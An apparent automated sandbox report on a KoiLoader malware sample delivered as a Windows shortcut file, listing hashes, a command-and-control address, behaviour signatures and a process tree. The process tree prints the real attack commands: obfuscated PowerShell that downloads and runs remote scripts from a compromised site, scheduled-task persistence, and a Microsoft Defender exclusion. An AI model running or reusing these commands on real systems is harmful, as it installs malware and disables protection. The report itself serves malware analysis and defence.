Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250314-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250314-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22/03/2025, 02:03

General

  • Target

    02f27282ecc90843bd932d731c87426f78e4f88d79c66374ae06c6d1641c73cb.lnk

  • Size

    1KB

  • MD5

    202ee916a0113699880cc2e48a73d353

  • SHA1

    85d9b74b2afa5bf0320e746a2871ef614159db2e

  • SHA256

    02f27282ecc90843bd932d731c87426f78e4f88d79c66374ae06c6d1641c73cb

  • SHA512

    c729137c2680e98e9686d6a2368e184fc38897032d0d0bf1e1c5a84530cc45208bfc60085be768c027d4ce52b627a7f308458ac5ed480c32289bc5a0d7c0a35e

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://casettalecese.it/wp-content/uploads/2022/10

Extracted

Family

koiloader

C2

http://94.247.42.253/pilot.php

Attributes
  • payload_url

    https://casettalecese.it/wp-content/uploads/2022/10

Signatures

  • KoiLoader

    KoiLoader is a malware loader written in C++.

  • Koiloader family
  • Detects KoiLoader payload 1 IoCs
  • Blocklisted process makes network request 6 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Using powershell.exe command.

  • Checks computer location settings 2 TTPs 3 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Indicator Removal: Clear Persistence 1 TTPs 1 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 12 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of WriteProcessMemory 27 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\02f27282ecc90843bd932d731c87426f78e4f88d79c66374ae06c6d1641c73cb.lnk
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1728
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $pdw = $env:programdata + '\' + ('htphwirvsci9k5.js jycqenaew'); $getf='Dow'+'nl'+'oadF'+'ile'; $x5yd46kp30cefn911gg = New-Object Net.WebClient; $wscs = 'wscript '; $x5yd46kp30cefn911gg.$getf('https://casettalecese.it/wp-content/uploads/2022/10/hemigastrectomySDur.php', 'htphwirvsci9k5.js'); . ('curl.e'+'xe') -s -o cs5c09hr6xij 'https://casettalecese.it/wp-content/uploads/2022/10/bivalviaGrr.php'; mv cs5c09hr6xij 'jycqenaew.js'; . ('sc'+'hta'+'s'+'ks') /create /sc minute /mo 1 /f /tr ($wscs + $pdw) /tn jycqenaew;
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3596
      • C:\Windows\system32\curl.exe
        "C:\Windows\system32\curl.exe" -s -o cs5c09hr6xij https://casettalecese.it/wp-content/uploads/2022/10/bivalviaGrr.php
        3⤵
          PID:4516
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /create /sc minute /mo 1 /f /tr "wscript C:\ProgramData\htphwirvsci9k5.js jycqenaew" /tn jycqenaew
          3⤵
          • Scheduled Task/Job: Scheduled Task
          PID:5696
    • C:\Windows\system32\wscript.EXE
      C:\Windows\system32\wscript.EXE C:\ProgramData\htphwirvsci9k5.js jycqenaew
      1⤵
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:2880
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "schtasks /delete /tn jycqenaew /f; wscript $env:programdata\jycqenaew.js "
        2⤵
        • Indicator Removal: Clear Persistence
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:432
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /delete /tn jycqenaew /f
          3⤵
            PID:4216
          • C:\Windows\system32\wscript.exe
            "C:\Windows\system32\wscript.exe" C:\ProgramData\jycqenaew.js
            3⤵
            • Checks computer location settings
            • Suspicious use of WriteProcessMemory
            PID:6072
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -command "$typs=[Ref].Assembly.GetTypes();$bss = 'https://casettalecese.it/wp-content/uploads/2022/10'; Foreach($tt in $typs) {if ($tt.Name -like '*?siUt*s') {$c=$tt}}; $env:paths = '7zCD771U53GF'; IEX(Invoke-WebRequest -UseBasicParsing ($bss+'/boomier10qD0.php')); IEX(Invoke-WebRequest -UseBasicParsing ($bss+'/nephralgiaMsy.ps1'))"
              4⤵
              • Blocklisted process makes network request
              • Command and Scripting Interpreter: PowerShell
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:1720
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\system32\cmd.exe" /c "powershell -command IEX(IWR -UseBasicParsing 'https://casettalecese.it/wp-content/uploads/2022/10/sd2.ps1')"
                5⤵
                • System Location Discovery: System Language Discovery
                • Suspicious use of WriteProcessMemory
                PID:5908
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  powershell -command IEX(IWR -UseBasicParsing 'https://casettalecese.it/wp-content/uploads/2022/10/sd2.ps1')
                  6⤵
                  • Blocklisted process makes network request
                  • Command and Scripting Interpreter: PowerShell
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:3020
      • C:\Windows\SysWOW64\DllHost.exe
        C:\Windows\SysWOW64\DllHost.exe /Processid:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}
        1⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4312
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\system32\cmd.exe" /c "powershell -command Add-MpPreference -ExclusionPath 'C:\ProgramData'"
          2⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:4328
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell -command Add-MpPreference -ExclusionPath 'C:\ProgramData'
            3⤵
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4600
      • C:\Windows\System32\wscript.exe
        C:\Windows\System32\wscript.exe "C:\ProgramData\r63e48d52-8c45-4cbc-90d9-6336485f78d0r.js"
        1⤵
          PID:2336
        • C:\Windows\System32\wscript.exe
          C:\Windows\System32\wscript.exe "C:\ProgramData\r63e48d52-8c45-4cbc-90d9-6336485f78d0r.js"
          1⤵
            PID:2888

          Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\ProgramData\cs5c09hr6xij

            Filesize

            1KB

            MD5

            67533e8aa92bdea1787885cd15390154

            SHA1

            9c6fef375964dbb925d898158fe221b3841023b2

            SHA256

            cbe808ef04691c719ad35a61e57e596a09a7f6f1a9d6ac03c128137fb54f1cc5

            SHA512

            37c7aef9b86da2a631c14516955d14ba827ca978abafdb41d9a4b15b3aecd6adbd8dd92086fbcf3b9f24601c96f333bf50bed9b96a12ee7012a03fb53c046f25

          • C:\ProgramData\htphwirvsci9k5.js

            Filesize

            198B

            MD5

            af9f1f2076317c03e21d56367e638af4

            SHA1

            61c4f850591f851acd3108104ef14f0fe32f95a6

            SHA256

            70835a8f7ea6c93942935a6f9fef1ae4591c22e873e3b06000ef01437f2090c1

            SHA512

            c280492024a902e3988c88dca7e21fc622df1bdf66796d9baf06a3b393550ac3d771589b0c51e7c246991d314c0729e7631cd1c08ba575683d9abdef7295b29c

          • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

            Filesize

            3KB

            MD5

            556084f2c6d459c116a69d6fedcc4105

            SHA1

            633e89b9a1e77942d822d14de6708430a3944dbc

            SHA256

            88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8

            SHA512

            0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e

          • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

            Filesize

            2KB

            MD5

            968cb9309758126772781b83adb8a28f

            SHA1

            8da30e71accf186b2ba11da1797cf67f8f78b47c

            SHA256

            92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a

            SHA512

            4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            344B

            MD5

            02c07d9e0c140702191d9225e1453dd5

            SHA1

            c18501af4b88cc21474fbd6b543a6e1307846759

            SHA256

            2646a70d417cdf527aef4e9e9d1c76f1c46c00e8619642ac26897173c5f03141

            SHA512

            1aaf8789f3090273e5e28a60cabc8c72e66dc104cfd8e6f419c0a9be5975aa5713276d77861b732d8f7a09284efdac4908dba63702774a333e890d804c56119f

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            1KB

            MD5

            7814a1e5bb7d98ddcd4254df3b64af39

            SHA1

            3c6ae8c10655b78d9e1436b7d5fc3da162709257

            SHA256

            04100ee65503cc102a13ec81d6598013ed02995c67ee1adf9fd5bbeee8f518db

            SHA512

            0fb089e1b86f9e8810e5e5fc980a1f4d560273917c4ad2e7c650867432f1a1c4961275fe7d45a9627d98eb0c5011d1a5f83d6457be638a77c2f65e426ae9ebac

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            64B

            MD5

            d8b9a260789a22d72263ef3bb119108c

            SHA1

            376a9bd48726f422679f2cd65003442c0b6f6dd5

            SHA256

            d69d47e428298f194850d14c3ce375e7926128a0bfb62c1e75940ab206f8fddc

            SHA512

            550314fab1e363851a7543c989996a440d95f7c9db9695cce5abaad64523f377f48790aa091d66368f50f941179440b1fa94448289ee514d5b5a2f4fe6225e9b

          • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4hbpiiu2.x03.ps1

            Filesize

            60B

            MD5

            d17fe0a3f47be24a6453e9ef58c94641

            SHA1

            6ab83620379fc69f80c0242105ddffd7d98d5d9d

            SHA256

            96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

            SHA512

            5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

          • memory/1720-54-0x0000000007750000-0x0000000007DCA000-memory.dmp

            Filesize

            6.5MB

          • memory/1720-53-0x00000000061A0000-0x00000000061BA000-memory.dmp

            Filesize

            104KB

          • memory/1720-35-0x00000000048B0000-0x00000000048E6000-memory.dmp

            Filesize

            216KB

          • memory/1720-36-0x0000000004F90000-0x00000000055B8000-memory.dmp

            Filesize

            6.2MB

          • memory/1720-37-0x0000000004EA0000-0x0000000004EC2000-memory.dmp

            Filesize

            136KB

          • memory/1720-38-0x00000000055C0000-0x0000000005626000-memory.dmp

            Filesize

            408KB

          • memory/1720-39-0x0000000005630000-0x0000000005696000-memory.dmp

            Filesize

            408KB

          • memory/1720-49-0x0000000005820000-0x0000000005B74000-memory.dmp

            Filesize

            3.3MB

          • memory/1720-56-0x00000000075F0000-0x00000000075FD000-memory.dmp

            Filesize

            52KB

          • memory/1720-51-0x0000000005E60000-0x0000000005E7E000-memory.dmp

            Filesize

            120KB

          • memory/1720-52-0x0000000005EA0000-0x0000000005EEC000-memory.dmp

            Filesize

            304KB

          • memory/1720-55-0x0000000007560000-0x0000000007561000-memory.dmp

            Filesize

            4KB

          • memory/3020-100-0x0000000007B30000-0x0000000007B52000-memory.dmp

            Filesize

            136KB

          • memory/3020-104-0x0000000008470000-0x0000000008502000-memory.dmp

            Filesize

            584KB

          • memory/3020-103-0x0000000008380000-0x00000000083D0000-memory.dmp

            Filesize

            320KB

          • memory/3020-102-0x0000000007BC0000-0x0000000007BDA000-memory.dmp

            Filesize

            104KB

          • memory/3020-101-0x00000000088E0000-0x0000000008E84000-memory.dmp

            Filesize

            5.6MB

          • memory/3596-2-0x00007FFC19ED3000-0x00007FFC19ED5000-memory.dmp

            Filesize

            8KB

          • memory/3596-14-0x00007FFC19ED0000-0x00007FFC1A991000-memory.dmp

            Filesize

            10.8MB

          • memory/3596-8-0x000001FF40C80000-0x000001FF40CA2000-memory.dmp

            Filesize

            136KB

          • memory/3596-13-0x00007FFC19ED0000-0x00007FFC1A991000-memory.dmp

            Filesize

            10.8MB

          • memory/3596-20-0x00007FFC19ED0000-0x00007FFC1A991000-memory.dmp

            Filesize

            10.8MB

          • memory/4600-80-0x0000000006990000-0x00000000069AE000-memory.dmp

            Filesize

            120KB

          • memory/4600-86-0x00000000079A0000-0x00000000079B4000-memory.dmp

            Filesize

            80KB

          • memory/4600-92-0x0000000007AA0000-0x0000000007ABA000-memory.dmp

            Filesize

            104KB

          • memory/4600-97-0x0000000007A80000-0x0000000007A88000-memory.dmp

            Filesize

            32KB

          • memory/4600-85-0x0000000007990000-0x000000000799E000-memory.dmp

            Filesize

            56KB

          • memory/4600-84-0x0000000007960000-0x0000000007971000-memory.dmp

            Filesize

            68KB

          • memory/4600-83-0x00000000079E0000-0x0000000007A76000-memory.dmp

            Filesize

            600KB

          • memory/4600-82-0x00000000077D0000-0x00000000077DA000-memory.dmp

            Filesize

            40KB

          • memory/4600-81-0x00000000075B0000-0x0000000007653000-memory.dmp

            Filesize

            652KB

          • memory/4600-70-0x0000000070850000-0x000000007089C000-memory.dmp

            Filesize

            304KB

          • memory/4600-69-0x0000000007370000-0x00000000073A2000-memory.dmp

            Filesize

            200KB